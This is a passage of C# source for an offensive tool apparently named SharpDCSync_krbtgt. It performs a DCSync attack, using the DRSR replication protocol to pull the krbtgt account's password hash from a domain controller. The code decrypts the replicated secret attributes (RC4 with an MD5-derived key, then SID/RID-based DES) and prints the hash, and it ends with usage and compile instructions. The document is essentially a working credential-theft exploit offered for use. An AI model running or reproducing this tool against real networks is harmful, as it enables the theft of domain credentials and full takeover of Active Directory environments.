else if (values.Count > 1)
{
replicationData[(int)attr.attrTyp] = values;
}
}
}
UInt32[] dwCrc32Table = new UInt32[]
{
0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA,
0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3,
0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988,
0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91,
0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE,
0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC,
0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5,
0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172,
0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940,
0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116,
0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F,
0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D,
0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A,
0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818,
0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E,
0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457,
0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C,
0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2,
0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB,
0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0,
0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9,
0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086,
0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4,
0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD,
0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A,
0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683,
0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8,
0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE,
0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7,
0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC,
0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252,
0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60,
0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79,
0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F,
0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04,
0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A,
0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38,
0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21,
0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E,
0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C,
0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45,
0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2,
0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB,
0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0,
0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6,
0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF,
0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94,
0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D,
};
UInt32 CalcCrc32(byte[] data)
{
UInt32 dwCRC = 0xFFFFFFFF;
for (int i = 0; i < data.Length; i++)
{
dwCRC = (dwCRC >> 8) ^ dwCrc32Table[(data[i]) ^ (dwCRC & 0x000000FF)];
}
dwCRC = ~dwCRC;
return dwCRC;
}
private byte[] DecryptReplicationData(byte[] data)
{
if (data.Length < 16)
return null;
MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider();
md5.TransformBlock(SessionKey, 0, SessionKey.Length, SessionKey, 0);
md5.TransformFinalBlock(data, 0, 16);
byte[] key = md5.Hash;
byte[] todecrypt = new byte[data.Length - 16];
Array.Copy(data, 16, todecrypt, 0, data.Length - 16);
byte[] decrypted = RtlEncryptDecryptRC4(todecrypt, key);
byte[] output = new byte[decrypted.Length - 4];
Array.Copy(decrypted, 4, output, 0, decrypted.Length - 4);
UInt32 crc = CalcCrc32(output);
UInt32 expectedCrc = BitConverter.ToUInt32(decrypted, 0);
if (crc != expectedCrc)
return null;
return output;
}
private void DecodeReplicationFields(Dictionary<int, object> ReplicationData, out Dictionary<string, object> DecodedReplicationData)
{
DecodedReplicationData = new Dictionary<string, object>();
foreach (ATT att in Enum.GetValues(typeof(ATT)))
{
if (ReplicationData.ContainsKey((int)att))
{
byte[] data = ReplicationData[(int)att] as byte[];
if (data != null)
{
DecodeData(data, att, ReplicationData, DecodedReplicationData);
}
else
{
List<byte[]> datalist = ReplicationData[(int)att] as List<byte[]>;
foreach (byte[] dataitem in datalist)
{
DecodeData(data, att, ReplicationData, DecodedReplicationData);
}
}
}
}
}
private void DecodeData(byte[] data, ATT att, Dictionary<int, object> ReplicationData, Dictionary<string, object> DecodedReplicationData)
{
switch (att)
{
case ATT.ATT_WHEN_CREATED:
case ATT.ATT_WHEN_CHANGED:
// var test = BitConverter.ToInt64(data, 0);
//string stringdate = UnicodeEncoding.Default.GetString(data);
// DateTime d = DateTime.ParseExact(stringdate, "yyyyMMddHHmmss.f'Z'", CultureInfo.InvariantCulture);
// DecodedReplicationData.Add(att.ToString(), d);
break;
case ATT.ATT_LAST_LOGON:
case ATT.ATT_PWD_LAST_SET:
case ATT.ATT_ACCOUNT_EXPIRES:
case ATT.ATT_LOCKOUT_TIME:
Int64 intdate = BitConverter.ToInt64(data, 0);
DateTime datetime;
if (intdate == Int64.MaxValue)
{
datetime = DateTime.MaxValue;
}
else
{
datetime = DateTime.FromFileTime(intdate);
}
DecodedReplicationData.Add(att.ToString(), datetime);
break;
case ATT.ATT_RDN:
case ATT.ATT_SAM_ACCOUNT_NAME:
case ATT.ATT_USER_PRINCIPAL_NAME:
case ATT.ATT_SERVICE_PRINCIPAL_NAME:
DecodedReplicationData.Add(att.ToString(), UnicodeEncoding.Unicode.GetString(data));
break;
case ATT.ATT_LOGON_WORKSTATION:
break;
case ATT.ATT_USER_ACCOUNT_CONTROL:
DecodedReplicationData.Add(att.ToString(), BitConverter.ToInt32(data, 0));
break;
case ATT.ATT_SAM_ACCOUNT_TYPE:
DecodedReplicationData.Add(att.ToString(), BitConverter.ToInt32(data, 0));
break;
case ATT.ATT_UNICODE_PWD:
case ATT.ATT_NT_PWD_HISTORY:
case ATT.ATT_DBCS_PWD:
case ATT.ATT_LM_PWD_HISTORY:
byte[] decrypted = DecryptHashUsingSID(data, ReplicationData[(int)ATT.ATT_OBJECT_SID] as byte[]);
DecodedReplicationData.Add(att.ToString(), decrypted);
break;
case ATT.ATT_SID_HISTORY:
case ATT.ATT_OBJECT_SID:
DecodedReplicationData.Add(att.ToString(), new SecurityIdentifier(data, 0));
break;
case ATT.ATT_LOGON_HOURS:
default:
DecodedReplicationData.Add(att.ToString(), data.ToString());
break;
}
}
private byte[] DecryptHashUsingSID(byte[] hashEncryptedWithRID, byte[] sidByteForm)
{
// extract the RID from the SID
GCHandle handle = GCHandle.Alloc(sidByteForm, GCHandleType.Pinned);
IntPtr sidIntPtr = handle.AddrOfPinnedObject();
IntPtr SubAuthorityCountIntPtr = GetSidSubAuthorityCount(sidIntPtr);
byte SubAuthorityCount = Marshal.ReadByte(SubAuthorityCountIntPtr);
IntPtr SubAuthorityIntPtr = GetSidSubAuthority(sidIntPtr, (uint)SubAuthorityCount - 1);
UInt32 rid = (UInt32)Marshal.ReadInt32(SubAuthorityIntPtr);
handle.Free();
// Decrypt the hash
byte[] output = new byte[16];
IntPtr outputPtr = Marshal.AllocHGlobal(16);
RtlDecryptDES2blocks1DWORD(hashEncryptedWithRID, ref rid, outputPtr);
Marshal.Copy(outputPtr, output, 0, 16);
Marshal.FreeHGlobal(outputPtr);
return output;
}
#endregion
public static void ShowUsage()
{
string Usage = @"
Use DRSR protocol to ask a domain controller to get the krbtgt's hash.
Reference:https://github.com/vletoux/MakeMeEnterpriseAdmin
Usage:
<dc fqdn> <domain name>
eg.
SharpDCSync_krbtgt.exe dc1.test.com TEST.COM
Complie:
C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe SharpDCSync_krbtgt.cs
or
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe SharpDCSync_krbtgt.cs
";
Console.WriteLine(Usage);
}
static void Main(string[] args)
{
if (args.Length != 2)
{
ShowUsage();
System.Environment.Exit(0);
}
try
{
string server = args[0];
string domain = args[1];
Dictionary<string, object> values;
byte[] hashByte;
string hashString;
drsr drsrtest1 = new drsr();
drsrtest1.Initialize(server, domain);
values = drsrtest1.GetData("krbtgt");
if (values.ContainsKey("ATT_UNICODE_PWD"))
{
hashByte = values["ATT_UNICODE_PWD"] as byte[];
hashString = BitConverter.ToString(hashByte).Replace("-", "");
Console.WriteLine(hashString);
}
}
catch (Exception e)
{
Console.WriteLine("[!] ERROR: {0}", e.Message);
}
}
}
}